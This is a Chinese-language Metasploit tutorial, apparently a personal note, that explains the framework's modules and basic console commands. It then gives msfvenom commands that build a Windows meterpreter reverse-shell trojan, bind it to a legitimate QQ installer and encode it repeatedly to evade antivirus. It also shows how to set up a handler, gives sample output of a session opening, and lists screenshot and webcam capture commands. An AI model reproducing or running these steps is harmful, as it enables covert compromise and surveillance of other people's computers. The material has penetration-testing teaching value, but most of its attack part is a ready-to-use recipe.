MSF教学.md 5.1 KB


notion-id: f49770df-1c15-4299-af68-eb833f0aad

参考文献https://blog.csdn.net/RFZ_322/article/details/123367668

[!note]+ # MSF架构——技术功能模块 MSF默认存放模块的目录如下 /usr/share/metasploit-framework/modules/ MSF有6个模块,分别对上面目录下的6个子文件夹:

一,auxiliary

负责执行信息收集、扫描、嗅探、指纹识别、口令猜测和Dos攻击等功能的辅助模块

二,exploits

利用系统漏洞进行攻击的动作,此模块对应每一个具体漏洞的攻击方法(主动、被动)

三,payloads

攻击载荷模块,攻击成功后促使靶机运行的一段植入代码。 成功exploit之后,真正在目标系统执行的代码或指令。分为3种类型的payload,分别是single、stages和stagers。shellcode是特殊的payload,用于拿shell。

  • single:all-in-one。完整的payload,这些payload都是一体化的,不需要依赖外部的库和包。
  • stagers:目标计算机内存有限时,先传输一个较小的payload用于建立连接
  • stages:利用stagers建立的连接下载后续payload

四,encoders

对payload进行加密,躲避AntiVirus【防护软件】检查的模块,编码模块。

五,nops

提高payload稳定性及维持大小。在渗透攻击构造恶意数据缓冲区时,常常要在真正要执行的Shellcode之前添加一段空指令区, 这样当触发渗透攻击后跳转执行ShellCode时,有一个较大的安全着陆区,从而避免受到内存 地址随机化、返回地址计算偏差等原因造成的ShellCode执行失败,提高渗透攻击的可靠性。

六,post

后期渗透模块。在取得目标系统远程控制权后,进行一系列的后渗透攻击动作,如获取敏感信息、跳板攻击等操作。 [!note]+ # msfdb指令 用来管理MSF的数据库的命令

msfdb init     # start and initialize the database
msfdb reinit   # delete and reinitialize the database
msfdb delete   # delete database and stop using it
msfdb start    # start the database
msfdb stop     # stop the database
msfdb status   # check service status
msfdb run      # start the database and run msfconsole

[!note]+ # MSF基础指令

msfconsole   #打开msf
help/?        #帮助菜单
exit          #退出msf控制台
Back          #返回上一级
info          #显示一个或多个模块信息
show          #显示所给类型的模块 exp:show auxiliary、show payloads
background    #将当前操作在后台运行
use           #使用所选择的模块
set           #设置选项
unset         #取消设置的选项
info 模块名   #显示模块信息
search 应用名 #exp:search reverse_tcp
search name   #所要搜索的名称 type:属于msf中的哪个模块:exp:search name:ms17 type:auxiliary
host -c mac   #msf主机管理

[!note]+ # msfvenom指令案例

msfvenom -l encoders   #查看MSF编码方式

#生成木马捆绑在正常的安装包上并进行MSF编码使其具备免杀能力
msfvenom -a x86 -p windows/meterpreter/reverse_tcp lhost=192.168.255.130 lport=4444 -e x86/shikata_ga_nai -x QQ9.5.9.28650.exe -i 12 -f exe -o /root/Desktop/csdn.exe
-e:指定编码方式对攻击载荷进行重新编码

-x:指定木马捆绑在哪个可执行程序模版上

-i:指定对目标进行编码的次数,多次编码理论上来讲有助于免杀生成的木马

[!note]+ # 操作实例: 首先输入msfconsole打开软件然后输入show payloads查看有哪些payloads可以用 然后找到windows/x64/meterpreter_reverse_tcp前面加use使用,然后show options查看用法 然后再打开一个终端查看IP

ifconfig

输入指令生产木马文件

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.2.55 lport=4444 -f exe -o /root/payload.exe

使用finalshell提取文件【注意杀毒软件】 使用*msfconsole*指令打开 启动handler模块作为主控端,

msf6 > use exploit/multi/handler

设置前面生成的被控制端程序,然后等待被控制端连接:

msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set lhost 192.168.43.120
lhost => 192.168.43.120
msf5 exploit(multi/handler) > set lport 5000
lport => 5000
msf5 exploit(multi/handler) > exploit

在被控制端运行木马文件 控制端出现meterpreter > 代表控制成功

[*] Started reverse TCP handler on 192.168.2.55:4444 
[*] Sending stage (175686 bytes) to 192.168.2.203
[*] Meterpreter session 1 opened (192.168.2.55:4444 -> 192.168.2.203:4200) at 2022-08-09 16:38:42 +0800

meterpreter >

meterpreter控制指令

截图命令:screenshot
摄像头列表命令:webcam_list
摄像头启动命令:webcam_snap

FTP